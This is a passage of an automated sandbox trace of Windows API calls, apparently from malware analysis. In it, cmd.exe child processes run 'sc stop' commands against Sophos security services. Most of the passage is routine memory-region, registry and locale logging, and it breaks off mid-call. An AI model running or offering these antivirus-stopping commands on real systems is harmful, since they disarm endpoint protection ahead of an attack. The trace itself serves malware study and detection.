_wcsicmp (_String1="stop", _String2="interrogate") returned 10 [0061.381] _wcsicmp (_String1="stop", _String2="control") returned 16 [0061.381] _wcsicmp (_String1="stop", _String2="continue") returned 16 [0061.381] _wcsicmp (_String1="stop", _String2="stop") returned 0 [0061.381] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x30f7a8 [0061.383] OpenServiceW (hSCManager=0x30f7a8, lpServiceName="Sophos Health Service", dwDesiredAccess=0x20) returned 0x0 [0061.384] GetLastError () returned 0x424 [0061.384] _itow (in: _Dest=0x424, _Radix=2423596 | out: _Dest=0x424) returned="1060" [0061.384] FormatMessageW (in: dwFlags=0x1200, lpSource=0x0, dwMessageId=0x424, dwLanguageId=0x0, lpBuffer=0xf9380, nSize=0x400, Arguments=0x0 | out: lpBuffer="The specified service does not exist as an installed service.\r\n") returned 0x3f [0061.385] FormatMessageW (in: dwFlags=0x2900, lpSource=0x0, dwMessageId=0x65, dwLanguageId=0x0, lpBuffer=0x24fb14, nSize=0x2, Arguments=0x24fb20 | out: lpBuffer="ᨘ1\x01") returned 0x62 [0061.385] GetFileType (hFile=0x7) returned 0x2 [0061.385] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x24fae8 | out: lpMode=0x24fae8) returned 1 [0061.386] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x311a18*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x24fb04, lpReserved=0x0 | out: lpBuffer=0x311a18*, lpNumberOfCharsWritten=0x24fb04*=0x62) returned 1 [0061.386] LocalFree (hMem=0x311a18) returned 0x0 [0061.386] LocalFree (hMem=0x0) returned 0x0 [0061.386] CloseServiceHandle (hSCObject=0x30f7a8) returned 1 [0061.388] exit (_Code=1060) Thread: id = 142 os_tid = 0x8dc Process: id = "56" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x2b718000" os_pid = "0x8a8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x948" cmd_line = "C:\\Windows\\system32\\cmd.exe /c sc stop \"Sophos MCS Agent\" /y" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3489 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3490 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3491 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3492 start_va = 0x50000 end_va = 0x8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 3493 start_va = 0x90000 end_va = 0x93fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 3494 start_va = 0xa0000 end_va = 0xa0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000a0000" filename = "" Region: id = 3495 start_va = 0x190000 end_va = 0x28ffff entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 3496 start_va = 0x49e60000 end_va = 0x49eabfff entry_point = 0x49e60000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe") Region: id = 3497 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3498 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3499 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 3500 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 3501 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 3502 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 3503 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3504 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3505 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3506 start_va = 0x470000 end_va = 0x4effff entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 3507 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3508 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3509 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3510 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 3511 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 3512 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3513 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 3514 start_va = 0xb0000 end_va = 0x116fff entry_point = 0xb0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3515 start_va = 0x150000 end_va = 0x15ffff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 3516 start_va = 0x6d0000 end_va = 0x7cffff entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 3517 start_va = 0x75210000 end_va = 0x75216fff entry_point = 0x75210000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\SysWOW64\\winbrand.dll" (normalized: "c:\\windows\\syswow64\\winbrand.dll") Region: id = 3518 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3519 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3520 start_va = 0x75410000 end_va = 0x754acfff entry_point = 0x75410000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 3521 start_va = 0x756f0000 end_va = 0x757effff entry_point = 0x756f0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3522 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3523 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 3524 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3525 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3526 start_va = 0x762d0000 end_va = 0x762d9fff entry_point = 0x762d0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 3527 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3528 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3529 start_va = 0x773c0000 end_va = 0x7744ffff entry_point = 0x773c0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3530 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3531 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3532 start_va = 0x290000 end_va = 0x417fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000290000" filename = "" Region: id = 3533 start_va = 0x75d40000 end_va = 0x75e0bfff entry_point = 0x75d40000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3534 start_va = 0x76500000 end_va = 0x7655ffff entry_point = 0x76500000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3535 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3536 start_va = 0x120000 end_va = 0x121fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 3537 start_va = 0x130000 end_va = 0x130fff entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 3538 start_va = 0x140000 end_va = 0x140fff entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 3539 start_va = 0x4f0000 end_va = 0x670fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004f0000" filename = "" Region: id = 3540 start_va = 0x7d0000 end_va = 0x1bcffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007d0000" filename = "" Region: id = 3541 start_va = 0x1bd0000 end_va = 0x1f12fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001bd0000" filename = "" Region: id = 3542 start_va = 0x1f20000 end_va = 0x21eefff entry_point = 0x1f20000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 143 os_tid = 0x8fc [0061.497] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x28fa64 | out: lpSystemTimeAsFileTime=0x28fa64*(dwLowDateTime=0xdf757d00, dwHighDateTime=0x1d4abdd)) [0061.498] GetCurrentProcessId () returned 0x8a8 [0061.498] GetCurrentThreadId () returned 0x8fc [0061.498] GetTickCount () returned 0x1cccf [0061.498] QueryPerformanceCounter (in: lpPerformanceCount=0x28fa5c | out: lpPerformanceCount=0x28fa5c*=1813672800000) returned 1 [0061.499] GetModuleHandleA (lpModuleName=0x0) returned 0x49e60000 [0061.499] __set_app_type (_Type=0x1) [0061.499] __p__fmode () returned 0x75ed31f4 [0061.499] __p__commode () returned 0x75ed31fc [0061.499] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x49e821a6) returned 0x0 [0061.499] __getmainargs (in: _Argc=0x49e84238, _Argv=0x49e84240, _Env=0x49e8423c, _DoWildCard=0, _StartInfo=0x49e84140 | out: _Argc=0x49e84238, _Argv=0x49e84240, _Env=0x49e8423c) returned 0 [0061.499] GetCurrentThreadId () returned 0x8fc [0061.499] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x8fc) returned 0x60 [0061.499] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0061.499] GetProcAddress (hModule=0x75a20000, lpProcName="SetThreadUILanguage") returned 0x75a4a84f [0061.499] SetThreadUILanguage (LangId=0x0) returned 0x409 [0061.500] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0061.500] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x28f9f4 | out: phkResult=0x28f9f4*=0x0) returned 0x2 [0061.500] VirtualQuery (in: lpAddress=0x28fa2b, lpBuffer=0x28f9c4, dwLength=0x1c | out: lpBuffer=0x28f9c4*(BaseAddress=0x28f000, AllocationBase=0x190000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0061.500] VirtualQuery (in: lpAddress=0x190000, lpBuffer=0x28f9c4, dwLength=0x1c | out: lpBuffer=0x28f9c4*(BaseAddress=0x190000, AllocationBase=0x190000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0061.500] VirtualQuery (in: lpAddress=0x191000, lpBuffer=0x28f9c4, dwLength=0x1c | out: lpBuffer=0x28f9c4*(BaseAddress=0x191000, AllocationBase=0x190000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0061.500] VirtualQuery (in: lpAddress=0x193000, lpBuffer=0x28f9c4, dwLength=0x1c | out: lpBuffer=0x28f9c4*(BaseAddress=0x193000, AllocationBase=0x190000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0061.500] VirtualQuery (in: lpAddress=0x290000, lpBuffer=0x28f9c4, dwLength=0x1c | out: lpBuffer=0x28f9c4*(BaseAddress=0x290000, AllocationBase=0x290000, AllocationProtect=0x2, RegionSize=0x3000, State=0x1000, Protect=0x2, Type=0x40000)) returned 0x1c [0061.500] GetConsoleOutputCP () returned 0x1b5 [0061.500] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e84260 | out: lpCPInfo=0x49e84260) returned 1 [0061.500] SetConsoleCtrlHandler (HandlerRoutine=0x49e7e72a, Add=1) returned 1 [0061.500] _get_osfhandle (_FileHandle=1) returned 0x7 [0061.500] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0061.500] _get_osfhandle (_FileHandle=1) returned 0x7 [0061.500] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x49e841ac | out: lpMode=0x49e841ac) returned 1 [0061.501] _get_osfhandle (_FileHandle=1) returned 0x7 [0061.501] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0061.501] _get_osfhandle (_FileHandle=0) returned 0x3 [0061.501] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49e841b0 | out: lpMode=0x49e841b0) returned 1 [0061.501] _get_osfhandle (_FileHandle=0) returned 0x3 [0061.501] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0061.501] GetEnvironmentStringsW () returned 0x6e2b28* [0061.502] FreeEnvironmentStringsW (penv=0x6e2b28) returned 1 [0061.502] GetEnvironmentStringsW () returned 0x6e2b28* [0061.502] FreeEnvironmentStringsW (penv=0x6e2b28) returned 1 [0061.502] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x28e964 | out: phkResult=0x28e964*=0x6c) returned 0x0 [0061.502] RegQueryValueExW (in: hKey=0x6c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x28e96c, lpData=0x28e970, lpcbData=0x28e968*=0x1000 | out: lpType=0x28e96c*=0x0, lpData=0x28e970*=0x32, lpcbData=0x28e968*=0x1000) returned 0x2 [0061.502] RegQueryValueExW (in: hKey=0x6c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x28e96c, lpData=0x28e970, lpcbData=0x28e968*=0x1000 | out: lpType=0x28e96c*=0x4, lpData=0x28e970*=0x1, lpcbData=0x28e968*=0x4) returned 0x0 [0061.502] RegQueryValueExW (in: hKey=0x6c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x28e96c, lpData=0x28e970, lpcbData=0x28e968*=0x1000 | out: lpType=0x28e96c*=0x0, lpData=0x28e970*=0x1, lpcbData=0x28e968*=0x1000) returned 0x2 [0061.502] RegQueryValueExW (in: hKey=0x6c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x28e96c, lpData=0x28e970, lpcbData=0x28e968*=0x1000 | out: lpType=0x28e96c*=0x4, lpData=0x28e970*=0x0, lpcbData=0x28e968*=0x4) returned 0x0 [0061.502] RegQueryValueExW (in: hKey=0x6c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x28e96c, lpData=0x28e970, lpcbData=0x28e968*=0x1000 | out: lpType=0x28e96c*=0x4, lpData=0x28e970*=0x40, lpcbData=0x28e968*=0x4) returned 0x0 [0061.502] RegQueryValueExW (in: hKey=0x6c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x28e96c, lpData=0x28e970, lpcbData=0x28e968*=0x1000 | out: lpType=0x28e96c*=0x4, lpData=0x28e970*=0x40, lpcbData=0x28e968*=0x4) returned 0x0 [0061.502] RegQueryValueExW (in: hKey=0x6c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x28e96c, lpData=0x28e970, lpcbData=0x28e968*=0x1000 | out: lpType=0x28e96c*=0x0, lpData=0x28e970*=0x40, lpcbData=0x28e968*=0x1000) returned 0x2 [0061.502] RegCloseKey (hKey=0x6c) returned 0x0 [0061.503] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x28e964 | out: phkResult=0x28e964*=0x6c) returned 0x0 [0061.503] RegQueryValueExW (in: hKey=0x6c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x28e96c, lpData=0x28e970, lpcbData=0x28e968*=0x1000 | out: lpType=0x28e96c*=0x0, lpData=0x28e970*=0x40, lpcbData=0x28e968*=0x1000) returned 0x2 [0061.503] RegQueryValueExW (in: hKey=0x6c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x28e96c, lpData=0x28e970, lpcbData=0x28e968*=0x1000 | out: lpType=0x28e96c*=0x4, lpData=0x28e970*=0x1, lpcbData=0x28e968*=0x4) returned 0x0 [0061.503] RegQueryValueExW (in: hKey=0x6c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x28e96c, lpData=0x28e970, lpcbData=0x28e968*=0x1000 | out: lpType=0x28e96c*=0x0, lpData=0x28e970*=0x1, lpcbData=0x28e968*=0x1000) returned 0x2 [0061.503] RegQueryValueExW (in: hKey=0x6c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x28e96c, lpData=0x28e970, lpcbData=0x28e968*=0x1000 | out: lpType=0x28e96c*=0x4, lpData=0x28e970*=0x0, lpcbData=0x28e968*=0x4) returned 0x0 [0061.503] RegQueryValueExW (in: hKey=0x6c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x28e96c, lpData=0x28e970, lpcbData=0x28e968*=0x1000 | out: lpType=0x28e96c*=0x4, lpData=0x28e970*=0x9, lpcbData=0x28e968*=0x4) returned 0x0 [0061.503] RegQueryValueExW (in: hKey=0x6c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x28e96c, lpData=0x28e970, lpcbData=0x28e968*=0x1000 | out: lpType=0x28e96c*=0x4, lpData=0x28e970*=0x9, lpcbData=0x28e968*=0x4) returned 0x0 [0061.503] RegQueryValueExW (in: hKey=0x6c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x28e96c, lpData=0x28e970, lpcbData=0x28e968*=0x1000 | out: lpType=0x28e96c*=0x0, lpData=0x28e970*=0x9, lpcbData=0x28e968*=0x1000) returned 0x2 [0061.503] RegCloseKey (hKey=0x6c) returned 0x0 [0061.503] time (in: timer=0x0 | out: timer=0x0) returned 0x5c3c3f5c [0061.503] srand (_Seed=0x5c3c3f5c) [0061.503] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c sc stop \"Sophos MCS Agent\" /y" [0061.503] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c sc stop \"Sophos MCS Agent\" /y" [0061.503] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49e85260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0061.504] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6e4bb8, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0061.504] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49e90640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0061.504] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49e90640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0061.504] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49e90640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0061.504] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0061.504] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0061.504] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0061.504] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0061.504] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0061.504] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0061.504] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0061.504] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0061.504] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0061.504] GetEnvironmentStringsW () returned 0x6e2b28* [0061.504] FreeEnvironmentStringsW (penv=0x6e2b28) returned 1 [0061.504] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x49e90640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0061.504] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x49e90640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0061.504] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0061.504] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0061.504] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0061.504] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0061.504] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0061.505] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0061.505] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0061.505] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0061.505] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x28f730 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0061.505] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x28f730, lpFilePart=0x28f72c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x28f72c*="Desktop") returned 0x25 [0061.505] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0061.505] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x28f4ac | out: lpFindFileData=0x28f4ac) returned 0x6e1dc0 [0061.505] FindClose (in: hFindFile=0x6e1dc0 | out: hFindFile=0x6e1dc0) returned 1 [0061.505] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x28f4ac | out: lpFindFileData=0x28f4ac) returned 0x6e1dc0 [0061.505] FindClose (in: hFindFile=0x6e1dc0 | out: hFindFile=0x6e1dc0) returned 1 [0061.505] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0061.505] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x28f4ac | out: lpFindFileData=0x28f4ac) returned 0x6e1dc0 [0061.505] FindClose (in: hFindFile=0x6e1dc0 | out: hFindFile=0x6e1dc0) returned 1 [0061.505] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0061.505] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0061.506] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0061.506] GetEnvironmentStringsW () returned 0x6e2b28* [0061.506] FreeEnvironmentStringsW (penv=0x6e2b28) returned 1 [0061.506] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49e85260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0061.506] GetConsoleOutputCP () returned 0x1b5 [0061.506] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e84260 | out: lpCPInfo=0x49e84260) returned 1 [0061.506] GetUserDefaultLCID () returned 0x409 [0061.507] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x49e84950, cchData=8 | out: lpLCData=":") returned 2 [0061.507] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x28f870, cchData=128 | out: lpLCData="0") returned 2 [0061.507] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x28f870, cchData=128 | out: lpLCData="0") returned 2 [0061.507] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x28f870, cchData=128 | out: lpLCData="1") returned 2 [0061.507] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x49e84940, cchData=8 | out: lpLCData="/") returned 2 [0061.507] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x49e84d80, cchData=32 | out: lpLCData="Mon") returned 4 [0061.507] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x49e84d40, cchData=32 | out: lpLCData="Tue") returned 4 [0061.507] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x49e84d00, cchData=32 | out: lpLCData="Wed") returned 4 [0061.507] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x49e84cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0061.507] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x49e84c80, cchData=32 | out: lpLCData="Fri") returned 4 [0061.507] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x49e84c40, cchData=32 | out: lpLCData="Sat") returned 4 [0061.507] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x49e84c00, cchData=32 | out: 